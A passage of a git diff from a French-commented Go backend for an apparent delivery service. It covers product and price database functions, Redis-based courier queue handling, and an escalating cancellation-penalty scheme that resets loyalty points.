log.Printf("🔍 [DB CreateProduct] Type reçu: %T", product)
|
||||
log.Printf("🔍 [DB CreateProduct] Valeur: %+v", product)
|
||||
|
||||
type ProductInterface interface {
|
||||
GetName() string
|
||||
GetCategory() string
|
||||
GetDescription() string
|
||||
GetStock() float64 // ← ajouter méthode pour le stock
|
||||
GetPrices() []models.ProductPrice
|
||||
SetID(int)
|
||||
SetCreatedAt(time.Time)
|
||||
SetUpdatedAt(time.Time)
|
||||
}
|
||||
|
||||
p, ok := product.(ProductInterface)
|
||||
if !ok {
|
||||
// Vérifier si c'est un pointeur vers models.Product
|
||||
if prodPtr, isPtr := product.(*models.Product); isPtr {
|
||||
log.Printf("✅ [DB CreateProduct] C'est un *models.Product, utilisons-le directement")
|
||||
p = prodPtr // ça fonctionne maintenant car *models.Product implémente ProductInterface
|
||||
ok = true
|
||||
} else {
|
||||
return fmt.Errorf("type de produit invalide: reçu %T, attendu ProductInterface", product)
|
||||
}
|
||||
}
|
||||
|
||||
if ok {
|
||||
log.Printf("✅ [DB CreateProduct] Assertion réussie!")
|
||||
log.Printf("📦 [DB CreateProduct] Name: %s", p.GetName())
|
||||
log.Printf("📦 [DB CreateProduct] Category: %s", p.GetCategory())
|
||||
log.Printf("📦 [DB CreateProduct] Description: %s", p.GetDescription())
|
||||
log.Printf("📦 [DB CreateProduct] Stock: %.2f", p.GetStock())
|
||||
log.Printf("📦 [DB CreateProduct] Nombre de prix: %d", len(p.GetPrices()))
|
||||
}
|
||||
|
||||
// Insérer le produit avec le stock
|
||||
query := `INSERT INTO products (name, category, description, stock, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6) RETURNING id, created_at, updated_at`
|
||||
|
||||
now := time.Now()
|
||||
var productID int
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := db.QueryRow(query, p.GetName(), p.GetCategory(), p.GetDescription(), p.GetStock(), now, now).
|
||||
Scan(&productID, &createdAt, &updatedAt)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DB CreateProduct] Erreur INSERT: %v", err)
|
||||
return fmt.Errorf("erreur création produit: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [DB CreateProduct] Produit inséré avec ID: %d", productID)
|
||||
|
||||
// Mettre à jour le produit avec l'ID et les dates
|
||||
p.SetID(productID)
|
||||
p.SetCreatedAt(createdAt)
|
||||
p.SetUpdatedAt(updatedAt)
|
||||
|
||||
// Insérer les prix
|
||||
prices := p.GetPrices()
|
||||
for i, price := range prices {
|
||||
priceQuery := `INSERT INTO product_prices (product_id, quantity, price)
|
||||
VALUES ($1, $2, $3)`
|
||||
_, err := db.Exec(priceQuery, productID, price.Quantity, price.Price)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DB CreateProduct] Erreur insertion prix[%d]: %v", i, err)
|
||||
return fmt.Errorf("erreur insertion prix: %v", err)
|
||||
}
|
||||
log.Printf("✅ [DB CreateProduct] Prix[%d] inséré: quantity=%d, price=%.2f",
|
||||
i, price.Quantity, price.Price)
|
||||
}
|
||||
|
||||
log.Printf("🎉 [DB CreateProduct] Produit créé avec succès! ID=%d", productID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetProductByID récupère un produit par son ID avec prices ET stock
|
||||
func (d *Database) GetProductByID(id int) (models.Product, error) {
|
||||
log.Printf("📦 [GetProductByID] START - ID=%d", id)
|
||||
|
||||
var p models.Product
|
||||
|
||||
// ✅ AJOUTER stock dans le SELECT
|
||||
err := d.QueryRow(`
|
||||
SELECT id, name, category, description, stock, created_at, updated_at
|
||||
FROM products
|
||||
WHERE id=$1
|
||||
`, id).Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetProductByID] Erreur query: %v", err)
|
||||
return p, err
|
||||
}
|
||||
|
||||
log.Printf("📊 [GetProductByID] Product scanned: ID=%d, Name=%s, Stock=%.2f",
|
||||
p.ID, p.Name, p.Stock)
|
||||
|
||||
// ✅ CHARGER LES PRICES
|
||||
prices, err := d.GetProductPrices(p.ID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetProductByID] Erreur loading prices: %v", err)
|
||||
p.Prices = []models.ProductPrice{} // Tableau vide au lieu de nil
|
||||
} else {
|
||||
p.Prices = prices
|
||||
log.Printf("✅ [GetProductByID] Loaded %d prices for product %d", len(prices), p.ID)
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
func (d *Database) GetAllProducts() ([]models.Product, error) {
|
||||
log.Println("📦 [GetAllProducts] START")
|
||||
|
||||
rows, err := d.Query(`
|
||||
SELECT id, name, category, description, stock, created_at, updated_at
|
||||
FROM products
|
||||
ORDER BY id ASC
|
||||
`)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetAllProducts] Erreur query: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var products []models.Product
|
||||
for rows.Next() {
|
||||
var p models.Product
|
||||
if err := rows.Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt); err != nil {
|
||||
log.Printf("❌ [GetAllProducts] Erreur scan: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("📊 [GetAllProducts] Product scanned: ID=%d, Name=%s, Stock=%.2f", p.ID, p.Name, p.Stock)
|
||||
|
||||
// ✅ CHARGER LES PRICES
|
||||
prices, err := d.GetProductPrices(p.ID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetAllProducts] Erreur loading prices for product %d: %v", p.ID, err)
|
||||
p.Prices = []models.ProductPrice{}
|
||||
} else {
|
||||
p.Prices = prices
|
||||
log.Printf("✅ [GetAllProducts] Loaded %d prices for product %d", len(prices), p.ID)
|
||||
}
|
||||
|
||||
// ✅ CHARGER LES MÉDIAS (MANQUANT AVANT!)
|
||||
media, err := d.GetMediaByProductID(p.ID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetAllProducts] Erreur loading media for product %d: %v", p.ID, err)
|
||||
p.Media = []models.Media{}
|
||||
} else {
|
||||
p.Media = media
|
||||
log.Printf("✅ [GetAllProducts] Loaded %d media for product %d", len(media), p.ID)
|
||||
}
|
||||
|
||||
products = append(products, p)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetAllProducts] Total products loaded: %d", len(products))
|
||||
return products, nil
|
||||
}
|
||||
|
||||
// GetProductsByCategory récupère les produits par catégorie avec prices ET stock
|
||||
func (db *Database) GetProductsByCategory(category string) ([]models.Product, error) {
|
||||
log.Printf("📦 [GetProductsByCategory] START - Category=%s", category)
|
||||
|
||||
// ✅ AJOUTER stock dans le SELECT
|
||||
rows, err := db.Query(`
|
||||
SELECT id, name, category, description, stock, created_at, updated_at
|
||||
FROM products
|
||||
WHERE category = $1
|
||||
ORDER BY created_at DESC
|
||||
`, category)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetProductsByCategory] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des produits: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var products []models.Product
|
||||
for rows.Next() {
|
||||
var p models.Product
|
||||
// ✅ AJOUTER &p.Stock dans le Scan
|
||||
if err := rows.Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt); err != nil {
|
||||
log.Printf("❌ [GetProductsByCategory] Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors du scan d'un produit: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("📊 [GetProductsByCategory] Product scanned: ID=%d, Name=%s, Stock=%.2f",
|
||||
p.ID, p.Name, p.Stock)
|
||||
|
||||
// ✅ CHARGER LES PRICES pour chaque produit
|
||||
prices, err := db.GetProductPrices(p.ID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetProductsByCategory] Erreur loading prices for product %d: %v", p.ID, err)
|
||||
p.Prices = []models.ProductPrice{} // Tableau vide au lieu de nil
|
||||
} else {
|
||||
p.Prices = prices
|
||||
log.Printf("✅ [GetProductsByCategory] Loaded %d prices for product %d", len(prices), p.ID)
|
||||
}
|
||||
|
||||
products = append(products, p)
|
||||
}
|
||||
|
||||
if err := rows.Err(); err != nil {
|
||||
log.Printf("❌ [GetProductsByCategory] Erreur iteration: %v", err)
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des produits: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetProductsByCategory] Total products loaded: %d", len(products))
|
||||
return products, nil
|
||||
}
|
||||
|
||||
func (db *Database) UpdateProduct(productID int, product interface{}) error {
|
||||
// À implémenter selon vos besoins
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProduct supprime un produit
|
||||
func (db *Database) DeleteProduct(productID int) error {
|
||||
query := `DELETE FROM products WHERE id = $1`
|
||||
result, err := db.Exec(query, productID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur suppression produit: %v", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("produit introuvable")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) GetProductNameByID(productID int) (string, error) {
|
||||
var name string
|
||||
query := `SELECT name FROM products WHERE id = $1`
|
||||
err := d.QueryRow(query, productID).Scan(&name)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return "", fmt.Errorf("produit non trouvé")
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
return name, nil
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
)
|
||||
|
||||
// GetProductPrices récupère tous les prix d'un produit
|
||||
func (db *Database) GetProductPrices(productID int) ([]models.ProductPrice, error) {
|
||||
log.Printf("💰 [GetProductPrices] Loading prices for product %d", productID)
|
||||
|
||||
query := `SELECT id, product_id, quantity, price, created_at
|
||||
FROM product_prices
|
||||
WHERE product_id = $1
|
||||
ORDER BY quantity ASC`
|
||||
|
||||
rows, err := db.Query(query, productID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetProductPrices] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération prix: %v", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var prices []models.ProductPrice
|
||||
for rows.Next() {
|
||||
var price models.ProductPrice
|
||||
if err := rows.Scan(&price.ID, &price.ProductID, &price.Quantity, &price.Price, &price.CreatedAt); err != nil {
|
||||
log.Printf("❌ [GetProductPrices] Erreur scan: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf(" 💰 Price: qty=%d, price=%.2f", price.Quantity, price.Price)
|
||||
prices = append(prices, price)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetProductPrices] Found %d prices for product %d", len(prices), productID)
|
||||
return prices, nil
|
||||
}
|
||||
|
||||
// CreateProductPrice ajoute un nouveau prix pour un produit
|
||||
func (db *Database) CreateProductPrice(productID, quantity int, price float64) error {
|
||||
query := `INSERT INTO product_prices (product_id, quantity, price)
|
||||
VALUES ($1, $2, $3)`
|
||||
_, err := db.Exec(query, productID, quantity, price)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur création prix: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// UpdateProductPrice met à jour un prix
|
||||
func (db *Database) UpdateProductPrice(priceID, quantity int, price float64) error {
|
||||
query := `UPDATE product_prices SET quantity = $1, price = $2 WHERE id = $3`
|
||||
result, err := db.Exec(query, quantity, price, priceID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur mise à jour prix: %v", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("prix introuvable")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProductPrice supprime un prix
|
||||
func (db *Database) DeleteProductPrice(priceID int) error {
|
||||
query := `DELETE FROM product_prices WHERE id = $1`
|
||||
result, err := db.Exec(query, priceID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur suppression prix: %v", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("prix introuvable")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,244 @@
|
||||
// ============================================
|
||||
// db/queue_auto_next_db.go
|
||||
// GESTION AUTOMATIQUE PROCHAINE COMMANDE
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
)
|
||||
|
||||
// ProcessNextCommandForDeliveryman traite automatiquement la prochaine commande
|
||||
// Appelé après qu'une commande soit livrée ou annulée
|
||||
func (d *Database) ProcessNextCommandForDeliveryman(deliveryman string) error {
|
||||
log.Printf("🔄 [NEXT_COMMAND] Traitement prochaine commande pour %s", deliveryman)
|
||||
|
||||
// Récupérer la prochaine commande dans sa queue
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
|
||||
if err != nil || len(commandIDs) == 0 {
|
||||
// Pas de commande dans la queue personnelle
|
||||
log.Printf("ℹ️ [NEXT_COMMAND] Aucune commande en queue pour %s", deliveryman)
|
||||
|
||||
// Mettre le livreur en "available"
|
||||
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
|
||||
|
||||
// ✅ Mettre à jour le statut basé sur la queue
|
||||
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Printf("📋 [NEXT_COMMAND] %d commande(s) dans la queue de %s", len(commandIDs), deliveryman)
|
||||
|
||||
// ✅ BOUCLE: Essayer toutes les commandes jusqu'à trouver une valide
|
||||
for i, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
log.Printf("⚠️ [NEXT_COMMAND] ID invalide: %s", cmdIDStr)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("🔍 [NEXT_COMMAND] Vérification commande %d (position %d/%d)", commandID, i+1, len(commandIDs))
|
||||
|
||||
// Récupérer les détails de la commande depuis Redis
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [NEXT_COMMAND] Commande %d: données Redis introuvables - Retrait", commandID)
|
||||
d.RemoveCommandFromAllQueues(commandID, deliveryman)
|
||||
continue // Essayer la suivante
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
log.Printf("❌ [NEXT_COMMAND] Commande %d: JSON invalide - Retrait", commandID)
|
||||
d.RemoveCommandFromAllQueues(commandID, deliveryman)
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ Vérifier le statut de la commande dans la DB
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [NEXT_COMMAND] Commande %d non trouvée en DB - Retrait de la queue", commandID)
|
||||
d.RemoveCommandFromAllQueues(commandID, deliveryman)
|
||||
continue // Essayer la suivante
|
||||
}
|
||||
|
||||
currentStatus, _ := command["status"].(string)
|
||||
log.Printf("📊 [NEXT_COMMAND] Commande %d: statut = '%s'", commandID, currentStatus)
|
||||
|
||||
// ✅ Si la commande n'est plus assignable, la retirer et passer à la suivante
|
||||
nonAssignableStatuses := []string{"livre", "approved", "cancelled", "disabled", "failed"}
|
||||
isNonAssignable := false
|
||||
for _, s := range nonAssignableStatuses {
|
||||
if currentStatus == s {
|
||||
isNonAssignable = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if isNonAssignable {
|
||||
log.Printf("⚠️ [NEXT_COMMAND] Commande %d en statut '%s' - Retrait de la queue", commandID, currentStatus)
|
||||
d.RemoveCommandFromAllQueues(commandID, deliveryman)
|
||||
continue // Essayer la suivante
|
||||
}
|
||||
|
||||
// ✅ Commande valide trouvée !
|
||||
log.Printf("✅ [NEXT_COMMAND] Commande %d prête pour %s (statut: %s)", commandID, deliveryman, currentStatus)
|
||||
|
||||
// Optimiser la queue par proximité si possible
|
||||
go d.OptimizeDeliverymanQueueByProximity(deliveryman)
|
||||
|
||||
// ✅ Mettre à jour le statut basé sur la queue
|
||||
d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||
|
||||
// Ajouter un log
|
||||
d.AddCommandLog(commandID, "next_in_queue",
|
||||
fmt.Sprintf("Commande suivante dans la queue de %s", deliveryman),
|
||||
"system")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ✅ Si on arrive ici, toutes les commandes étaient invalides
|
||||
log.Printf("⚠️ [NEXT_COMMAND] Toutes les commandes de %s étaient invalides - Queue vidée", deliveryman)
|
||||
|
||||
// Mettre le livreur en available
|
||||
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
|
||||
d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveCommandFromDeliverymanQueue retire une commande spécifique de la queue d'un livreur
|
||||
func (d *Database) RemoveCommandFromDeliverymanQueue(deliveryman string, commandID int) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
commandIDStr := fmt.Sprintf("%d", commandID)
|
||||
|
||||
log.Printf("📦 [RemoveFromDeliverymanQueue] Retrait cmd %d de la queue de %s", commandID, deliveryman)
|
||||
|
||||
// Retirer de la queue
|
||||
result, err := Redis.ZRem(RedisCtx, queueKey, commandIDStr).Result()
|
||||
if err != nil {
|
||||
log.Printf("❌ [RemoveFromDeliverymanQueue] Erreur: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if result == 0 {
|
||||
log.Printf("⚠️ [RemoveFromDeliverymanQueue] Commande %d non trouvée dans queue", commandID)
|
||||
} else {
|
||||
log.Printf("✅ [RemoveFromDeliverymanQueue] Commande %d retirée", commandID)
|
||||
}
|
||||
|
||||
// Supprimer les données
|
||||
Redis.Del(RedisCtx, commandKey)
|
||||
|
||||
// Décrémenter le compteur
|
||||
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
|
||||
Redis.Decr(RedisCtx, counterKey)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// CleanupCompletedCommandFromQueue nettoie une commande terminée et prépare la suivante
|
||||
// À appeler depuis les handlers d'annulation et de livraison
|
||||
func (d *Database) CleanupCompletedCommandFromQueue(commandID int, deliveryman string) error {
|
||||
log.Printf("🧹 [CLEANUP] Nettoyage commande %d pour %s", commandID, deliveryman)
|
||||
|
||||
// 1. Retirer la commande de TOUTES les queues (pas seulement celle du livreur)
|
||||
err := d.RemoveCommandFromAllQueues(commandID, deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CLEANUP] Erreur retrait commande: %v", err)
|
||||
}
|
||||
|
||||
// 2. Supprimer les caches associés
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
Redis.Del(RedisCtx, destCacheKey)
|
||||
|
||||
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
||||
Redis.Del(RedisCtx, etaKey)
|
||||
|
||||
// 3. Supprimer la clé de données de la commande
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
Redis.Del(RedisCtx, commandKey)
|
||||
|
||||
log.Printf("✅ [CLEANUP] Commande %d nettoyée complètement", commandID)
|
||||
|
||||
// 4. Traiter la prochaine commande
|
||||
return d.ProcessNextCommandForDeliveryman(deliveryman)
|
||||
}
|
||||
|
||||
// RemoveCommandFromAllQueues retire une commande de toutes les queues Redis
|
||||
func (d *Database) RemoveCommandFromAllQueues(commandID int, deliveryman string) error {
|
||||
commandIDStr := fmt.Sprintf("%d", commandID)
|
||||
|
||||
log.Printf("🗑️ [REMOVE_ALL] Suppression commande %d de toutes les queues", commandID)
|
||||
|
||||
// 1. Queue du livreur spécifique
|
||||
if deliveryman != "" {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
result, err := Redis.ZRem(RedisCtx, queueKey, commandIDStr).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [REMOVE_ALL] Erreur suppression queue livreur: %v", err)
|
||||
} else if result > 0 {
|
||||
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:%s", queueKey)
|
||||
// Décrémenter le compteur
|
||||
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
|
||||
Redis.Decr(RedisCtx, counterKey)
|
||||
} else {
|
||||
log.Printf("ℹ️ [REMOVE_ALL] Commande %d n'était pas dans queue:%s", commandID, queueKey)
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Queue générale
|
||||
removed := false
|
||||
result, _ := Redis.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr).Result()
|
||||
if result > 0 {
|
||||
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:pending:sorted")
|
||||
removed = true
|
||||
}
|
||||
|
||||
// 3. Queue prioritaire
|
||||
result, _ = Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr).Result()
|
||||
if result > 0 {
|
||||
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:priority:sorted")
|
||||
removed = true
|
||||
}
|
||||
|
||||
// 4. Vérifier toutes les autres queues de livreurs (au cas où)
|
||||
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
for _, key := range keys {
|
||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
result, _ := Redis.ZRem(RedisCtx, key, commandIDStr).Result()
|
||||
if result > 0 {
|
||||
log.Printf("⚠️ [REMOVE_ALL] Commande trouvée et supprimée de %s", key)
|
||||
removed = true
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Supprimer la clé de données
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
result, _ = Redis.Del(RedisCtx, commandKey).Result()
|
||||
if result > 0 {
|
||||
log.Printf("✅ [REMOVE_ALL] Données supprimées: %s", commandKey)
|
||||
removed = true
|
||||
}
|
||||
|
||||
if !removed {
|
||||
log.Printf("⚠️ [REMOVE_ALL] Commande %d n'a été trouvée dans aucune queue", commandID)
|
||||
} else {
|
||||
log.Printf("✅ [REMOVE_ALL] Commande %d supprimée de toutes les queues", commandID)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
// ============================================
|
||||
// db/cancel_sanctions_db.go
|
||||
// GESTION DES SANCTIONS ÉVOLUTIVES
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
)
|
||||
|
||||
// GetClientCancellationsCount récupère le nombre d'annulations tardives d'un client
|
||||
func (d *Database) GetClientCancellationsCount(username string) (int, error) {
|
||||
var count int
|
||||
query := `SELECT COALESCE(cancellations_count, 0) FROM clients WHERE username = $1`
|
||||
|
||||
err := d.QueryRow(query, username).Scan(&count)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetCancellationsCount] Erreur: %v", err)
|
||||
return 0, fmt.Errorf("erreur récupération compteur: %w", err)
|
||||
}
|
||||
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// IncrementClientCancellationsCount incrémente le compteur d'annulations
|
||||
func (d *Database) IncrementClientCancellationsCount(username string) error {
|
||||
query := `UPDATE clients
|
||||
SET cancellations_count = COALESCE(cancellations_count, 0) + 1,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1`
|
||||
|
||||
result, err := d.Exec(query, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [IncrementCancellations] Erreur: %v", err)
|
||||
return fmt.Errorf("erreur incrémentation: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [IncrementCancellations] Compteur incrémenté pour %s", username)
|
||||
|
||||
// Invalider le cache Redis
|
||||
cacheKey := fmt.Sprintf("client:%s", username)
|
||||
Redis.Del(RedisCtx, cacheKey)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// CalculateCancellationPenalty calcule la pénalité selon l'historique
|
||||
// 1ère fois: 20 points
|
||||
// 2ème fois: 50 points
|
||||
// 3ème fois: 100 points
|
||||
// 4ème+ fois: 150 points
|
||||
func (d *Database) CalculateCancellationPenalty(username string) (int, error) {
|
||||
count, err := d.GetClientCancellationsCount(username)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var penalty int
|
||||
switch {
|
||||
case count == 0:
|
||||
penalty = 20 // Première annulation tardive
|
||||
case count == 1:
|
||||
penalty = 50 // Deuxième annulation tardive
|
||||
case count == 2:
|
||||
penalty = 100 // Troisième annulation tardive
|
||||
default:
|
||||
penalty = 150 // À partir de la 4ème annulation
|
||||
}
|
||||
|
||||
log.Printf("💰 [CalculatePenalty] Client %s - Annulations: %d → Pénalité: %d points",
|
||||
username, count, penalty)
|
||||
|
||||
return penalty, nil
|
||||
}
|
||||
|
||||
// ApplyCancellationPenalty applique une pénalité, incrémente le compteur et REMET TOUS LES POINTS À ZÉRO
|
||||
// ✅ MODIFIÉ: Récupère les points AVANT de les remettre à zéro pour le log dans le handler
|
||||
func (d *Database) ApplyCancellationPenalty(username string) (int, error) {
|
||||
// ✅ ÉTAPE 0: Récupérer les points AVANT modification (pour le handler)
|
||||
// Note: Le handler récupère aussi les points, mais on garde cette fonction autonome
|
||||
|
||||
// Calculer la pénalité AVANT d'incrémenter
|
||||
penalty, err := d.CalculateCancellationPenalty(username)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
log.Printf("⚠️ [ApplyCancellationPenalty] Client %s - Pénalité calculée: %d points", username, penalty)
|
||||
|
||||
// ✅ ÉTAPE 1: Incrémenter le compteur d'annulations
|
||||
if err := d.IncrementClientCancellationsCount(username); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 2: Mettre l'amende au montant de la pénalité ET remettre TOUS les points à zéro
|
||||
query := `UPDATE clients
|
||||
SET amende = $1,
|
||||
point = 0,
|
||||
point_zipette = 0,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $2`
|
||||
|
||||
result, err := d.Exec(query, float64(penalty), username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ApplyCancellationPenalty] Erreur UPDATE: %v", err)
|
||||
return 0, fmt.Errorf("erreur application pénalité: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return 0, fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [ApplyCancellationPenalty] %d points d'amende appliqués à %s + TOUS points remis à 0 (weed + zipette)", penalty, username)
|
||||
|
||||
// Invalider le cache Redis
|
||||
cacheKey := fmt.Sprintf("client:%s", username)
|
||||
Redis.Del(RedisCtx, cacheKey)
|
||||
|
||||
return penalty, nil
|
||||
}
|
||||
|
||||
// GetClientCancellationHistory récupère l'historique d'annulations d'un client
|
||||
func (d *Database) GetClientCancellationHistory(username string) (map[string]interface{}, error) {
|
||||
count, err := d.GetClientCancellationsCount(username)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Calculer la prochaine pénalité
|
||||
var nextPenalty int
|
||||
switch count {
|
||||
case 0:
|
||||
nextPenalty = 20
|
||||
case 1:
|
||||
nextPenalty = 50
|
||||
case 2:
|
||||
nextPenalty = 100
|
||||
default:
|
||||
nextPenalty = 150
|
||||
}
|
||||
|
||||
// Récupérer l'amende actuelle
|
||||
client, err := d.GetClientByUsername(username)
|
||||
var currentAmende float64
|
||||
if err == nil {
|
||||
currentAmende = client.Amende
|
||||
}
|
||||
|
||||
return map[string]interface{}{
|
||||
"cancellations_count": count,
|
||||
"current_amende": currentAmende,
|
||||
"next_penalty": nextPenalty,
|
||||
"penalty_scale": map[string]int{
|
||||
"1st": 20,
|
||||
"2nd": 50,
|
||||
"3rd": 100,
|
||||
"4th+": 150,
|
||||
},
|
||||
"warning": "TOUS les points de fidélité (weed/hash ET zipette) seront remis à zéro lors de la prochaine annulation tardive",
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (d *Database) CreateUser(user *models.User) error {
|
||||
query := `INSERT INTO users (username, password, role, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)
|
||||
RETURNING id, created_at, updated_at`
|
||||
|
||||
var createdAt, updatedAt time.Time
|
||||
err := d.QueryRow(query, user.Username, user.Password, user.Role).Scan(
